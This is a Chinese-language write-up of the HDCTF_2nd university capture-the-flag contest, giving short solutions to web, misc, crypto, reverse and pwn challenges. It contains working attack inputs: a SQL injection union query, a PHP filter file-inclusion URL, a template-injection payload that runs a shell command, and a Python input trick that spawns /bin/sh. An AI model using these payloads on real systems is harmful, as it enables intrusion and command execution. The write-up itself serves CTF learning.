HDCTF_2nd, 海南大学校内赛。国庆打的,之前没时间复现。校外人水了个纪念品。感谢Gamous不舍赐教。感动的哭了。比赛的复盘。有些没做出来的阔以看官方wp。题附及官方wp已打包:
蓝奏:
https://wws.lanzous.com/i7HmLhmw18f
百度云:
链接:https://pan.baidu.com/s/1mKWDG-bftD-kPAeZwEUvGw
提取码:bcxv
Web
signin:
打开网页,源代码,base64解码
babysql(ACTF题):
这题。。一开始以为是纯注入,一个一个试'load_file','information_schema'。还过滤了挺多东西的
后来就直接绕过注入,直接select即可。看提示(划线划掉的)也是
查完字段是三个之后,直接查询flag即可
1' union select 1,2,flag from flag#
babyrce(ACTF题):
这题也没啥限制,就是最简单的rce,../ 就返回上级目录,flag就是flag文件。
easygit(ACTF题):
git泄露,github上找个工具,下了源码直接cat flag就好了
backup_file(ACTF题):
index.php.bak,备份文件,根据源码绕过就好了,构造?key=123即可
考点应该是php弱类型
参考别人总结的:https://www.cnblogs.com/Mrsm1th/p/6745532.html
intval函数直接将值转换成数字,即数字跟字符串比较。
传key=123即可绕过限制
easy_file_include(ACTF题):
伪协议直接包含http://8.129.15.153:20005/?file=php://filter/read=convert.base64-encode/resource=flag.php
点击页面的tips,文件包含php伪协议直接尝试即可
do_u_know_HTTP:
提交get参数Hainan_University,然后在post提交HnuSec即可。在根据最后一条,burpsuite抓包加上http头
没啥难的,就按要求提交各类参数就好了。就是post的时候我bp一直不行,用hackbar才可以
erciyuan
看源码,直接跟到最后。先第一步绕过正则即可,^符号取反。就把除了26个大小写字母和数字的其他替换成空
第二个过滤则把HnuSec替换成!。观察前面的hint我们要访问到!HDCTF!.php文件。就构造HnuSecHDCTFHnuSec.php的编码即可绕过
hash_hmac:
观察源码,直接绕过即可。post传x[]=QNKCDZO&y[]=aabg7XSs。给了个 fllllllllllllag.php,访问cat flag
md5弱类型,直接绕过吧
welcome:
猜测弱口令,admin/123456,密码错误左上角弹出密码。输入 cat flag
calculator_v1
flask的一题,下载给的python文件,没做任何过滤。直接cat flag即可
ezflask
给了个参考链接,模板注入。还什么都没过滤。就直接套了wp里的payload。https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/
{{config.__class__.__init__.__globals__['os'].popen('cat ./flag').read()}}
warmup
getshell
getshell。看过滤。过滤逗号和等号,而后用.来连接前后。
直接把连接前面的闭合掉,在用//注释符把后面注释掉
直接闭合后面也是可以cat flag的,看源码就拿到flag了
dudaima
get给pass传个值,然后反序列化他。就满足if里的条件即可
就可自己测试了。引用赋值和传值赋值参考:https://blog.csdn.net/m15712884682/article/details/77350027
剩下的web题就不咋会了。还有几道flask和反序列化,可以看看官方wp
misc:
签到题:
直接输flag,签到即可。。
一步之遥:
伪加密
改成00打开
你知道lsb是什么意思吗
就lsb低位隐写,存为7z即可
后来保存下来,看到文件较小,也猜到可能是crc32,找工具爆了确实也不是
在比赛中是没想到可能会是纯数字,后来就写个纯数字的爆破脚本即可(脚本来自官方wp)
girlfriend:
导出HTTP对象,选最大的是图片文件。打开看到flag
嘤语:
----- . ----. -... ..--- -... ...-- -.... . . ...-- ...-- -... .---- ...-- ..-. ..-. ----. .- --... ...-- -.. ..-. ....- ....- ----. -... --... --... . ..--- ..-.
http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx
奇怪的字符:
leet,l33t。黑客语言。wiki上找一下。有对照表,也有在线的网站
http://www.englishcn.com/tools/Leet.htm
http://output.jsbin.com/IHoFuQE/1
https://www.dcode.fr/leet-speak-1337
http://www.toolsxx.com/code/1337.html
https://1337.me/
https://www.gamehouse.com/blog/leet-speak-cheat-sheet/
无字天书:
打开文件,文件只由空格,tab,换行组成。可能是white-space
找个在线的网站贴进去可以直接解,或者去gayhub上找个。
https://vii5ard.github.io/whitespace/
ook直接解密就可
https://www.splitbrain.org/services/ook
你真的了解dns吗?:
nslookup -type=txt hdctf.0x00.work,直接看到flag
dns的type表示dns的协议类型
nospace
零度字符隐写
解出来的就是password,密码admin:https://offdev.net/demos/zwsp-steg-js
雪花飘飘
零解一题,看了wp还没给我整懂,问了一下出题人。diff原页面和链接页面。发现换行,考虑网页隐写。使用stegsnow。snow=雪
用在线工具diff即可。
海南上一次下雨时间。
然后就保存题目链接的html文件。
花朵解密,https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo
海底捞帧预告片
这题感觉不难,就是头大,看了wp还能懂
找到了可以用FFmpeg删除重复帧的命令,和wp一毛一样
问了一下出题人,还给一个用脚本的思路,Hash比较每一帧来筛选。写不来,Ffmpeg天下第一。
删除重复帧之后,提出图片。
最后筛选到4张,但目前无ps就没继续做下去了,拼起来反色即可得到二维码。
专业团队:
分四阶段,主要就是要降噪处理(不知道能不能把抬棺那段分离出来)。还有能听出来DTMF编码。morse降噪完直接看就好了。DTMF不能的话,就手解。降噪完也是能看的,一个是频谱,然后第二个应该是morse,第三个是dtmf 第四个就是流派的flag。连起来就是最后的flag了。
调两个频段之后对着DTMF的表就可以看出来了。用工具解的话有几位是乱了的
瓦斯矿工
很新奇的一道题,虚拟货币相关。
metamask使用可参考:https://zhuanlan.zhihu.com/p/112285438?from_voters_page=true
直接foremost分离图片即可得到一个压缩包,拖进16进制文件里也可以看到有12个50 4B 03 04的PK头
观察到大小较小,直接爆破crc即可,以太坊钱包通过助记词登录。助记词可通过数字查询,这里就只爆破数字。
直接破即可,https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt#L350
以太坊钱包通过BIP-39生成私钥,数字查询助记词。
脚本
import binascii
import zipfile
import time
def crc32asii(v):
return (binascii.crc32(bytes(str(v), encoding='ascii')) & 0xffffffff)
for x in range(1, 10000):
f = zipfile.ZipFile("00000001.zip", "r")
for i in range(1, 13):
GetCrc = f.getinfo(str(i))
crc = GetCrc.CRC
a = ("0x%08x" % crc)
j = crc32asii(x)
if ("0x%08x" % j) == a:
print(i, x)
time.sleep(0.1)
使用助记词登录之后,复制地址,去查询最近的交易记录
详情里得到的直接转字符串得到flag
到点了,上号
出题肯定有故事doge
考点是mp3保留字隐写数据,wp里给了wiki链接https://en.wikipedia.org/wiki/MP3#File_structure
直接拿脚本就出了,未学习原理。
crypto
起源:
应该是凯撒直接解
围住世界:
这题疑惑了挺久的,以为是自己找的网站和软件不对。反反复复里里外外。试了好几个。后来翻看笔记的时候发现可能是w型栅栏密码
http://www.atoolbox.net/Tool.php?Id=777.com
有趣起来了:
就倒序,ctf特训营上有讲的。quiqui也可以做的,前面改成hdctf就好了。顺便把字母改一下即可。
官方wp上给的是用脚本
神秘字符:
一看时候只注意到mc。以为是什么mc的其他版本。就去疯狂google也没找到。后来就翻到mc的wiki。就mc附魔台上的字符,玩过mc的应该都知道,mc wiki上找张对比图,对比就好
https://minecraft-zh.gamepedia.com/Minecraft_Dungeons:%E7%AC%A6%E6%96%87茫茫人海:
base64隐写,跟[ACTF新生赛2020]base64隐写挺像的。反正也是套脚本就好了
奇怪的贝斯:
整不会了这题,抱歉。
具体思路应该就是构造一个码表。\x即是转义字符,方便表示
babyrsa:
https://www.anquanke.com/post/id/87105
这题还好,纯现代密码菜鸡,不过给了pqe。又给了个链接,先求欧拉,然后就n,d,m
#coding:utf-8
from binascii import a2b_hex, b2a_hex
import gmpy2
#flag = "*****************************"
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
c = 68405618655091231850901459679785989915772760467494039910176075122809565696913
m = pow(c, d, n)
print(m)
#a=(int(str(m),16))
a=191853633260784640753082658319123392799532077630882079100618224148262386737246462849
https://tool.lu/hexconvert/
https://www.bejson.com/convert/ox2str/
Re
sign_up
直接查看字符串就可看到flag
re1
这题比赛的时候看,以为是异或运算+base64换表然后解密,找了半天硬是没找全64个字符。然后就不了了之。Re也不咋会。之后的题可以看官方wp。
pwn
calculator
题目描述:
python2的input执行输入导致rce
先用__import__('os').system('/bin/sh')。直接rce
然后用python -c 'import pty;pty.spawn("/bin/bash");'。获得一个bash的shell
找到之后cat即可
自己写了一个。。发现py直接input就可了
warmup
abs函数是取绝对值的意思。所以不可能小于0。考虑abs负数溢出。就是2的31次方。直接写脚本传就可
backdoor
字符串查看到sh,跟入
继续跟
bash后门
查看buf到r的位置
编写脚本溢出即可
其他pwn题本菜不会,pwn题可以参考某大佬,应该是ak了pwn题的:https://www.cnblogs.com/z2yh/p/13771942.html
相关实验:CTF实验室 https://www.yijinglab.com/pages/CTFLaboratory.jsp
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

